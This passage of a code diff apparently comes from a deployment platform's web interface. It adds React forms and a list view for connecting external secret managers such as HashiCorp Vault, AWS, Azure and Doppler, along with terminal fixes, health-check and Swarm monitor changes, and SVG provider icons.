<FormLabel>Secret Access Key</FormLabel>
<FormControl>
<Input type="password" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="awsEndpoint"
render={({ field }) => (
<FormItem>
<FormLabel>Endpoint (optional)</FormLabel>
<FormControl>
<Input placeholder="http://localhost:4566" {...field} />
</FormControl>
<FormDescription>
Custom endpoint for VPC endpoints or API-compatible
emulators
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
<FormDescription>
Reference format:{" "}
<code>{"${{vault.<name>.secret-name}}"}</code> or{" "}
<code>{"${{vault.<name>.secret-name:field}}"}</code> for JSON
secrets
</FormDescription>
</>
)}
{providerType === "azure" && (
<>
<FormField
control={form.control}
name="vaultUri"
render={({ field }) => (
<FormItem>
<FormLabel>Vault URI</FormLabel>
<FormControl>
<Input
placeholder="https://my-vault.vault.azure.net"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="tenantId"
render={({ field }) => (
<FormItem>
<FormLabel>Tenant ID</FormLabel>
<FormControl>
<Input {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="grid grid-cols-2 gap-4">
<FormField
control={form.control}
name="azureClientId"
render={({ field }) => (
<FormItem>
<FormLabel>Client ID</FormLabel>
<FormControl>
<Input {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="azureClientSecret"
render={({ field }) => (
<FormItem>
<FormLabel>Client Secret</FormLabel>
<FormControl>
<Input type="password" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</div>
<FormDescription>
App Registration with the "Key Vault Secrets User" role on the
vault. Reference format:{" "}
<code>{"${{vault.<name>.secret-name}}"}</code>
</FormDescription>
</>
)}
{providerType === "doppler" && (
<>
<FormField
control={form.control}
name="serviceToken"
render={({ field }) => (
<FormItem>
<FormLabel>Token</FormLabel>
<FormControl>
<Input
type="password"
placeholder="dp.st..."
{...field}
/>
</FormControl>
<FormDescription>
Service tokens (dp.st.) are recommended: read-only and
scoped to a single project + config
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
<div className="grid grid-cols-2 gap-4">
<FormField
control={form.control}
name="dopplerProject"
render={({ field }) => (
<FormItem>
<FormLabel>Project (optional)</FormLabel>
<FormControl>
<Input placeholder="my-project" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="dopplerConfig"
render={({ field }) => (
<FormItem>
<FormLabel>Config (optional)</FormLabel>
<FormControl>
<Input placeholder="prd" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</div>
<FormDescription>
Only needed for personal (dp.pt.) or CLI (dp.ct.) tokens —
service tokens already carry them
</FormDescription>
</>
)}
<div className="flex flex-col gap-2 rounded-lg border p-3">
<FormLabel>Access</FormLabel>
<FormDescription>
This provider can only be referenced from the selected projects.
Pick environments to narrow it further — none selected means all
environments of that project.
</FormDescription>
<div className="flex flex-col gap-2">
{orgProjects?.map((project) => {
const assignment = assignments.find(
(a) => a.projectId === project.projectId,
);
return (
<div
key={project.projectId}
className="flex flex-col gap-1.5"
>
<label className="flex flex-row items-center gap-2 text-sm cursor-pointer">
<Checkbox
checked={!!assignment}
onCheckedChange={() =>
toggleProject(project.projectId)
}
/>
{project.name}
</label>
{assignment && (
<div className="flex flex-row flex-wrap gap-3 pl-6">
{project.environments?.map((environment) => (
<label
key={environment.environmentId}
className="flex flex-row items-center gap-1.5 text-xs text-muted-foreground cursor-pointer"
>
<Checkbox
checked={assignment.environmentIds.includes(
environment.environmentId,
)}
onCheckedChange={() =>
toggleEnvironment(
project.projectId,
environment.environmentId,
)
}
/>
{environment.name}
</label>
))}
{assignment.environmentIds.length === 0 && (
<span className="text-xs text-muted-foreground italic self-center">
All environments
</span>
)}
</div>
)}
</div>
);
})}
</div>
{form.formState.errors.assignments && (
<p className="text-sm font-medium text-destructive">
{form.formState.errors.assignments.message}
</p>
)}
</div>
<DialogFooter className="flex w-full flex-row justify-between gap-2 sm:justify-between">
<Button
type="button"
variant="secondary"
isLoading={isTesting}
onClick={onTestConnection}
>
Test Connection
</Button>
<Button type="submit" isLoading={isPending}>
{vaultProviderId ? "Update" : "Create"}
</Button>
</DialogFooter>
</form>
</Form>
</DialogContent>
</Dialog>
);
};
@@ -0,0 +1,166 @@
import { Loader2, Trash2, Vault } from "lucide-react";
import { toast } from "sonner";
import { vaultProviderIcons } from "@/components/icons/vault-provider-icons";
import { DialogAction } from "@/components/shared/dialog-action";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { api } from "@/utils/api";
import { HandleVaultProvider } from "./handle-vault-provider";
const providerLabels: Record<string, string> = {
hashicorp: "HashiCorp Vault",
infisical: "Infisical",
aws: "AWS Secrets Manager",
doppler: "Doppler",
azure: "Azure Key Vault",
};
export const ShowVaultProviders = () => {
const { mutateAsync, isPending: isRemoving } =
api.vaultProvider.remove.useMutation();
const { data, isPending, refetch } = api.vaultProvider.all.useQuery();
const { data: permissions } = api.user.getPermissions.useQuery();
return (
<div className="w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl max-w-5xl mx-auto">
<div className="rounded-xl bg-background shadow-md">
<CardHeader>
<CardTitle className="text-xl flex flex-row gap-2">
<Vault className="size-6 text-muted-foreground self-center" />
Secrets Providers
</CardTitle>
<CardDescription>
Connect external secret managers and reference their secrets in
environment variables with{" "}
<code>{"${{vault.<name>.<secret>}}"}</code>
</CardDescription>
</CardHeader>
<CardContent className="space-y-2 py-8 border-t">
{isPending ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[25vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : (
<>
{data?.length === 0 ? (
<div className="flex flex-col items-center gap-3 min-h-[25vh] justify-center">
<Vault className="size-8 self-center text-muted-foreground" />
<span className="text-base text-muted-foreground text-center">
You don't have any secrets providers configured
</span>
{permissions?.vaultProvider.create && (
<HandleVaultProvider />
)}
</div>
) : (
<div className="flex flex-col gap-4 min-h-[25vh]">
<div className="flex flex-col gap-4 rounded-lg">
{data?.map((provider) => {
const ProviderIcon =
vaultProviderIcons[provider.providerType];
return (
<div
key={provider.vaultProviderId}
className="flex items-center justify-between bg-sidebar p-1 w-full rounded-lg"
>
<div className="flex items-center justify-between p-3.5 rounded-lg bg-background border w-full">
<div className="flex flex-row items-center gap-3">
<ProviderIcon className="size-7 shrink-0" />
<div className="flex gap-2 flex-col">
<span className="text-sm font-medium">
{provider.name}
</span>
<div className="flex flex-row gap-2 items-center">
{provider.assignments.length === 0 ? (
<Badge variant="destructive">
Not assigned
</Badge>
) : (
<Badge variant="secondary">
{provider.assignments.length}{" "}
{provider.assignments.length === 1
? "project"
: "projects"}
</Badge>
)}
<Badge variant="outline">
{providerLabels[provider.providerType] ??
provider.providerType}
</Badge>
<span className="text-xs text-muted-foreground">
{"${{vault." + provider.name + ".…}}"}
</span>
</div>
</div>
</div>
<div className="flex flex-row gap-1">
{permissions?.vaultProvider.update && (
<HandleVaultProvider
vaultProviderId={provider.vaultProviderId}
/>
)}
{permissions?.vaultProvider.delete && (
<DialogAction
title="Delete Secrets Provider"
description="Deployments referencing this provider will fail. Are you sure?"
type="destructive"
onClick={async () => {
await mutateAsync({
vaultProviderId:
provider.vaultProviderId,
})
.then(() => {
toast.success(
"Secrets provider deleted",
);
refetch();
})
.catch(() => {
toast.error(
"Error deleting the secrets provider",
);
});
}}
>
<Button
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
isLoading={isRemoving}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</DialogAction>
)}
</div>
</div>
</div>
);
})}
</div>
{permissions?.vaultProvider.create && (
<div className="flex flex-row gap-2 flex-wrap w-full justify-end mr-4">
<HandleVaultProvider />
</div>
)}
</div>
)}
</>
)}
</CardContent>
</div>
</Card>
</div>
);
};
@@ -32,7 +32,9 @@ export const TerminalModal = ({
serverId,
asButton = false,
}: Props) => {
const [terminalKey, setTerminalKey] = useState<string>(getTerminalKey());
const [terminalKey, setTerminalKey] = useState<string>(() =>
getTerminalKey(),
);
const [isOpen, setIsOpen] = useState(false);
const isLocalServer = serverId === "local";
@@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { ClipboardAddon } from "@xterm/addon-clipboard";
import { useTheme } from "next-themes";
import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
import { getLocalServerData } from "./local-server-config";
interface Props {
@@ -58,6 +59,7 @@ export const Terminal: React.FC<Props> = ({ id, serverId }) => {
const addonAttach = new AttachAddon(ws);
const clipboardAddon = new ClipboardAddon();
term.loadAddon(clipboardAddon);
fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
@@ -30,7 +30,6 @@ type ServiceStatus = {
type HealthResult = {
postgres: ServiceStatus;
redis: ServiceStatus;
traefik: ServiceStatus;
};
@@ -89,7 +88,6 @@ export const UpdateWebServer = ({
const allHealthy =
healthResult &&
healthResult.postgres.status === "healthy" &&
healthResult.redis.status === "healthy" &&
healthResult.traefik.status === "healthy";
const checkIsUpdateFinished = async () => {
@@ -179,7 +177,7 @@ export const UpdateWebServer = ({
{modalState === "checking" && (
<span className="flex items-center gap-2">
<Loader2 className="animate-spin h-4 w-4" />
Checking PostgreSQL, Redis and Traefik...
Checking PostgreSQL and Traefik...
</span>
)}
@@ -190,10 +188,6 @@ export const UpdateWebServer = ({
name="PostgreSQL"
service={healthResult.postgres}
/>
<ServiceStatusItem
name="Redis"
service={healthResult.redis}
/>
<ServiceStatusItem
name="Traefik"
service={healthResult.traefik}
@@ -27,50 +27,16 @@ export default function SwarmMonitorCard({ serverId }: Props) {
serverId,
});
if (isPending) {
return (
<div className="w-full max-w-7xl mx-auto">
<div className="mb-6 border min-h-[55vh] flex rounded-lg h-full items-center justify-center text-muted-foreground">
{/* <div className="flex items-center justify-center h-full text-muted-foreground"> */}
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[55vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
{/* </div> */}
</div>
</div>
);
}
if (!nodes) {
return (
<div className="w-full max-w-7xl mx-auto">
<div className="mb-6 border min-h-[55vh] flex justify-center items-center rounded-lg h-full">
<div className="flex items-center justify-center h-full text-destructive">
<span>Failed to load data</span>
</div>
</div>
</div>
);
}
const totalNodes = nodes.length;
const activeNodesCount = nodes.filter(
(node) => node.Status === "Ready",
).length;
const managerNodesCount = nodes.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
).length;
const activeNodes = nodes.filter((node) => node.Status === "Ready");
const managerNodes = nodes.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
);
const totalNodes = nodes?.length ?? 0;
const activeNodes = nodes?.filter((node) => node.Status === "Ready") ?? [];
const managerNodes =
nodes?.filter(
(node) =>
node.ManagerStatus === "Leader" || node.ManagerStatus === "Reachable",
) ?? [];
return (
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
<Card className="h-full bg-sidebar p-2.5 rounded-xl mx-auto w-full">
<div className="rounded-xl bg-background shadow-md p-6 flex flex-col gap-4">
<header className="flex items-center flex-wrap gap-4 justify-between">
<div className="space-y-1">
@@ -94,93 +60,114 @@ export default function SwarmMonitorCard({ serverId }: Props) {
)}
</header>
<div className="grid gap-6 lg:grid-cols-3">
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<CardTitle className="text-sm font-medium">Total Nodes</CardTitle>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<div className="text-2xl font-bold">{totalNodes}</div>
</CardContent>
</Card>
{isPending ? (
<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
<span>Loading...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !nodes ? (
<div className="flex items-center justify-center min-h-[45vh] text-destructive">
<span>Failed to load data</span>
</div>
) : (
<>
<div className="grid gap-6 lg:grid-cols-3">
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<CardTitle className="text-sm font-medium">
Total Nodes
</CardTitle>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Server className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<div className="text-2xl font-bold">{totalNodes}</div>
</CardContent>
</Card>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Active Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{activeNodesCount} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{activeNodes.map((node) => (
<div key={node.ID} className="flex items-center gap-2">
{node.Hostname}
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Active Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Activity className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{activeNodes.length} / {totalNodes}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Manager Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{managerNodesCount} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{managerNodes.map((node) => (
<div key={node.ID} className="flex items-center gap-2">
{node.Hostname}
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{activeNodes.map((node) => (
<div
key={node.ID}
className="flex items-center gap-2"
>
{node.Hostname}
</div>
))}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
{nodes.map((node) => (
<NodeCard key={node.ID} node={node} serverId={serverId} />
))}
</div>
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between space-y-0 pb-2">
<div className="flex items-center gap-2">
<CardTitle className="text-sm font-medium">
Manager Nodes
</CardTitle>
<Badge variant="green">Online</Badge>
</div>
<div className="p-2 bg-emerald-600/20 text-emerald-600 rounded-md">
<Monitor className="h-4 w-4 text-muted-foreground dark:text-emerald-600" />
</div>
</CardHeader>
<CardContent>
<TooltipProvider>
<Tooltip>
<TooltipTrigger>
<div className="text-2xl font-bold">
{managerNodes.length} / {totalNodes}
</div>
</TooltipTrigger>
<TooltipContent>
<div className="max-h-48 overflow-y-auto">
{managerNodes.map((node) => (
<div
key={node.ID}
className="flex items-center gap-2"
>
{node.Hostname}
</div>
))}
</div>
</TooltipContent>
</Tooltip>
</TooltipProvider>
</CardContent>
</Card>
</div>
<div className="grid grid-cols-1 xl:grid-cols-2 2xl:grid-cols-3 gap-4">
{nodes.map((node) => (
<NodeCard key={node.ID} node={node} serverId={serverId} />
))}
</div>
</>
)}
</div>
</Card>
);
@@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => {
>
<path
d="M38.1637 8.19202C38.0639 8.10928 37.9372 8.0659 37.8075 8.07003C37.4539 8.07003 36.9964 8.314 36.7512 8.43598L36.6524 8.486C36.2404 8.68747 35.7917 8.80285 35.3337 8.8251C34.8629 8.83973 34.4567 8.8678 33.9309 8.92147C30.8009 9.2435 29.4115 11.6392 28.0685 13.9557C27.3365 15.2157 26.5827 16.5173 25.5472 17.5273C25.333 17.735 25.1052 17.9282 24.8652 18.1055C23.7942 18.9045 22.4487 19.468 21.3974 19.8705C20.3897 20.256 19.2894 20.6025 18.2257 20.9367C17.2499 21.2442 16.3338 21.5332 15.4885 21.8467C15.1067 21.9893 14.7822 22.0907 14.4968 22.1918C13.7271 22.4493 13.1708 22.6335 12.3609 23.1885C12.0449 23.4043 11.7278 23.6398 11.507 23.8155C10.8638 24.3293 10.2945 24.9295 9.81509 25.5988C9.40495 26.2163 8.93065 26.7888 8.4001 27.3067C8.22932 27.475 7.92559 27.5505 7.47059 27.5505C6.93754 27.5505 6.29102 27.4408 5.6067 27.3248C4.90287 27.2028 4.17342 27.081 3.54887 27.081C3.0402 27.081 2.6523 27.1627 2.36077 27.3322C2.36077 27.3322 1.87284 27.6177 1.66669 27.986L1.86917 28.0775C2.18275 28.2468 2.47374 28.455 2.73525 28.6972C3.00602 28.9482 3.3082 29.1632 3.63425 29.3363C3.7385 29.3782 3.83284 29.4413 3.91115 29.5218C3.82577 29.6438 3.70012 29.8072 3.5696 29.9792C2.84747 30.9233 2.42664 31.521 2.66815 31.8455C2.78092 31.9047 2.90685 31.934 3.0341 31.931C4.60767 31.931 5.45179 31.5223 6.52157 31.0038C6.83507 30.8623 7.15587 30.7075 7.52182 30.5488C8.14637 30.278 8.81972 29.845 9.53209 29.3877C10.4762 28.7777 11.4521 28.1532 12.3975 27.8507C13.1762 27.6123 13.9875 27.4978 14.8017 27.5115C15.8056 27.5115 16.8547 27.647 17.8695 27.7762C18.627 27.8738 19.4102 27.9738 20.1787 28.0202C20.4775 28.0373 20.7544 28.0458 21.0229 28.0458C21.3825 28.047 21.7422 28.0283 22.0999 27.9897L22.1854 27.9592C22.7245 27.6287 22.977 26.9175 23.2222 26.2295C23.3795 25.7867 23.5112 25.3903 23.7162 25.1317C23.729 25.1195 23.743 25.1085 23.7577 25.0987C23.7674 25.0933 23.7787 25.0913 23.7899 25.093C23.8009 25.0948 23.811 25.1003 23.8187 25.1085C23.8187 25.1085 23.8187 25.1085 23.8187 25.128C23.6894 27.8177 22.611 29.5193 21.5157 31.0417L20.7837 31.826C20.7837 31.826 21.8072 31.826 22.389 31.6015C24.5139 30.966 26.1192 29.5657 27.2865 27.3322C27.5745 26.7592 27.8319 26.1712 28.0575 25.5708C28.077 25.5208 28.2624 25.428 28.2442 25.6928C28.2442 25.7697 28.2332 25.855 28.227 25.9367C28.227 25.9892 28.2197 26.0428 28.2174 26.0965C28.1869 26.4685 28.0954 27.2652 28.0954 27.2652L28.7515 26.9127C30.3374 25.9098 31.5572 23.896 32.4794 20.7562C32.8649 19.4485 33.1465 18.1507 33.3954 17.004C33.693 15.6341 33.9505 14.4509 34.2494 13.9935C34.7104 13.2762 35.4142 12.7895 36.0949 12.3199L36.373 12.1259C37.2269 11.5258 38.0807 10.8305 38.2687 9.53748V9.50942C38.4102 8.55065 38.2942 8.30423 38.1637 8.19202Z"
fill="#231F20"
fill="#c2bfbf"
/>
</svg>
);
@@ -0,0 +1,580 @@
interface Props {
className?: string;
}
export const HashicorpVaultIcon = ({ className }: Props) => (
<svg
viewBox="0 0 24 24"
fill="currentColor"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path d="M0 0l11.955 24L24 0zm13.366 4.827h1.393v1.38h-1.393zm-2.77 5.569H9.22V8.993h1.389zm0-2.087H9.22V6.906h1.389zm0-2.086H9.22V4.819h1.389zm2.087 6.263h-1.377V11.08h1.388zm0-2.09h-1.377V8.993h1.388zm0-2.087h-1.377V6.906h1.388zm0-2.086h-1.377V4.819h1.388zm.683.683h1.393v1.389h-1.393zm0 3.475V8.993h1.389v1.388Z" />
</svg>
);
export const InfisicalIcon = ({ className }: Props) => (
<svg
viewBox="0 0 91 43"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
d="M21.9734 0C24.8526 0 27.4793 0.412021 29.8535 1.23606C32.2528 2.06011 34.4123 3.13386 36.3318 4.45732C38.2766 5.75581 39.9814 7.10424 41.4463 8.50261C42.2545 9.25174 42.987 9.98839 43.6436 10.7125C44.3003 11.4367 44.9317 12.1609 45.5379 12.885C46.0935 12.1609 46.6618 11.4617 47.2427 10.7875C47.8489 10.0883 48.6066 9.32665 49.5158 8.50261C51.7132 6.38008 54.4409 4.43235 57.699 2.65941C60.9824 0.886471 64.7835 0 69.1024 0C73.1435 0 76.8183 0.97387 80.127 2.92161C83.4609 4.84437 86.1002 7.42886 88.045 10.6751C90.015 13.9213 91 17.5171 91 21.4625C91 24.4591 90.4317 27.2683 89.2952 29.8902C88.1586 32.4872 86.5927 34.7721 84.5974 36.7448C82.6021 38.6925 80.2785 40.2282 77.6266 41.3519C74.9746 42.4506 72.1332 43 69.1024 43C66.2231 43 63.5712 42.6005 61.1465 41.8014C58.7472 40.9774 56.5751 39.9286 54.6303 38.6551C52.7108 37.3815 51.0186 36.0706 49.5537 34.7221C48.7202 33.8981 47.9752 33.124 47.3185 32.3998C46.6871 31.6507 46.0935 30.9141 45.5379 30.1899C44.9065 30.9141 44.2624 31.6507 43.6057 32.3998C42.9491 33.149 42.2166 33.9231 41.4084 34.7221C39.9688 36.0706 38.2766 37.3815 36.3318 38.6551C34.4123 39.9036 32.2528 40.9399 29.8535 41.7639C27.4793 42.588 24.8526 43 21.9734 43C17.8818 43 14.1817 42.0386 10.873 40.1159C7.56439 38.1931 4.92506 35.6086 2.95504 32.3624C0.985013 29.0912 0 25.4579 0 21.4625C0 18.491 0.555648 15.7192 1.66694 13.1472C2.8035 10.5502 4.36941 8.26539 6.3647 6.29269C8.38523 4.31998 10.7215 2.78427 13.3734 1.68554C16.0507 0.561848 18.9173 0 21.9734 0ZM10.4563 21.4625C10.4563 23.5351 10.974 25.4204 12.0096 27.1185C13.0451 28.8165 14.4342 30.1649 16.1769 31.1638C17.9197 32.1626 19.8518 32.662 21.9734 32.662C24.3475 32.662 26.5322 32.1376 28.5275 31.0889C30.5228 30.0401 32.3791 28.7166 34.0966 27.1185C35.1826 26.0947 36.1171 25.1083 36.9001 24.1594C37.683 23.2105 38.365 22.3116 38.9459 21.4625C38.3397 20.6635 37.6199 19.777 36.7864 18.8031C35.9782 17.8043 35.0816 16.8554 34.0966 15.9564C32.4802 14.3833 30.649 13.0598 28.6032 11.9861C26.5575 10.8873 24.3475 10.338 21.9734 10.338C19.8518 10.338 17.9197 10.8499 16.1769 11.8737C14.4342 12.8725 13.0451 14.221 12.0096 15.919C10.974 17.592 10.4563 19.4399 10.4563 21.4625ZM80.4679 21.4625C80.4679 19.4399 79.9502 17.592 78.9146 15.919C77.9044 14.221 76.5405 12.8725 74.8231 11.8737C73.1056 10.8499 71.1987 10.338 69.1024 10.338C67.486 10.338 65.9453 10.5877 64.4804 11.0871C63.0155 11.5865 61.639 12.2607 60.351 13.1098C59.0881 13.9588 57.9263 14.9077 56.8655 15.9564C55.729 17.0052 54.7313 18.079 53.8726 19.1777C53.0139 20.2515 52.3951 21.0131 52.0162 21.4625C52.6477 22.3365 53.3549 23.248 54.1378 24.1969C54.9208 25.1208 55.83 26.0947 56.8655 27.1185C58.5577 28.7166 60.4015 30.0401 62.3968 31.0889C64.4173 32.1376 66.6525 32.662 69.1024 32.662C71.1987 32.662 73.1056 32.1626 74.8231 31.1638C76.5405 30.1649 77.9044 28.8165 78.9146 27.1185C79.9502 25.4204 80.4679 23.5351 80.4679 21.4625Z"
fill="currentColor"
/>
</svg>
);
export const AwsIcon = ({ className }: Props) => (
<svg
viewBox="0 0 304 182"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
fill="currentColor"
d="m86 66 2 9c0 3 1 5 3 8v2l-1 3-7 4-2 1-3-1-4-5-3-6c-8 9-18 14-29 14-9 0-16-3-20-8-5-4-8-11-8-19s3-15 9-20c6-6 14-8 25-8a79 79 0 0 1 22 3v-7c0-8-2-13-5-16-3-4-8-5-16-5l-11 1a80 80 0 0 0-14 5h-2c-1 0-2-1-2-3v-5l1-3c0-1 1-2 3-2l12-5 16-2c12 0 20 3 26 8 5 6 8 14 8 25v32zM46 82l10-2c4-1 7-4 10-7l3-6 1-9v-4a84 84 0 0 0-19-2c-6 0-11 1-15 4-3 2-4 6-4 11s1 8 3 11c3 2 6 4 11 4zm80 10-4-1-2-3-23-78-1-4 2-2h10l4 1 2 4 17 66 15-66 2-4 4-1h8l4 1 2 4 16 67 17-67 2-4 4-1h9c2 0 3 1 3 2v2l-1 2-24 78-2 4-4 1h-9l-4-1-1-4-16-65-15 64-2 4-4 1h-9zm129 3a66 66 0 0 1-27-6l-3-3-1-2v-5c0-2 1-3 2-3h2l3 1a54 54 0 0 0 23 5c6 0 11-2 14-4 4-2 5-5 5-9l-2-7-10-5-15-5c-7-2-13-6-16-10a24 24 0 0 1 5-34l10-5a44 44 0 0 1 20-2 110 110 0 0 1 12 3l4 2 3 2 1 4v4c0 3-1 4-2 4l-4-2c-6-2-12-3-19-3-6 0-11 0-14 2s-4 5-4 9c0 3 1 5 3 7s5 4 11 6l14 4c7 3 12 6 15 10s5 9 5 14l-3 12-7 8c-3 3-7 5-11 6l-14 2z"
/>
<path
d="M274 144A220 220 0 0 1 4 124c-4-3-1-6 2-4a300 300 0 0 0 263 16c5-2 10 4 5 8z"
fill="#f90"
/>
<path
d="M287 128c-4-5-28-3-38-1-4 0-4-3-1-5 19-13 50-9 53-5 4 5-1 36-18 51-3 2-6 1-5-2 5-10 13-33 9-38z"
fill="#f90"
/>
</svg>
);
export const DopplerIcon = ({ className }: Props) => (
<svg
viewBox="0 0 101 100"
fill="none"
xmlns="http://www.w3.org/2000/svg"
className={className}
>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint0_linear_1068_18455)"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint1_linear_1068_18455)"
fill-opacity="0.46"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint2_linear_1068_18455)"
fill-opacity="0.66"
/>
<path
d="M64.3092 0.259394C60.1163 -0.864113 55.8423 1.77302 54.9657 6.02449L50.9884 25.3158C48.3904 37.9168 38.5465 47.7653 25.9467 50.3692L7.02287 54.2801C2.77187 55.1586 0.13598 59.4329 1.25947 63.6258C2.38309 67.8192 6.8038 70.2029 10.9248 68.8373L29.3407 62.7351C41.5851 58.6779 55.0695 62.291 63.6448 71.9269L76.5434 86.4207C79.4289 89.6631 84.4482 89.8092 87.5174 86.74C90.5871 83.6703 90.4404 78.6501 87.1969 75.7648L72.609 62.7885C62.9468 54.1936 59.3239 40.6746 63.3932 28.3998L69.5188 9.92278C70.8847 5.80285 68.5018 1.38278 64.3092 0.259394Z"
fill="url(#paint3_linear_1068_18455)"
fill-opacity="0.67"
/>
<path
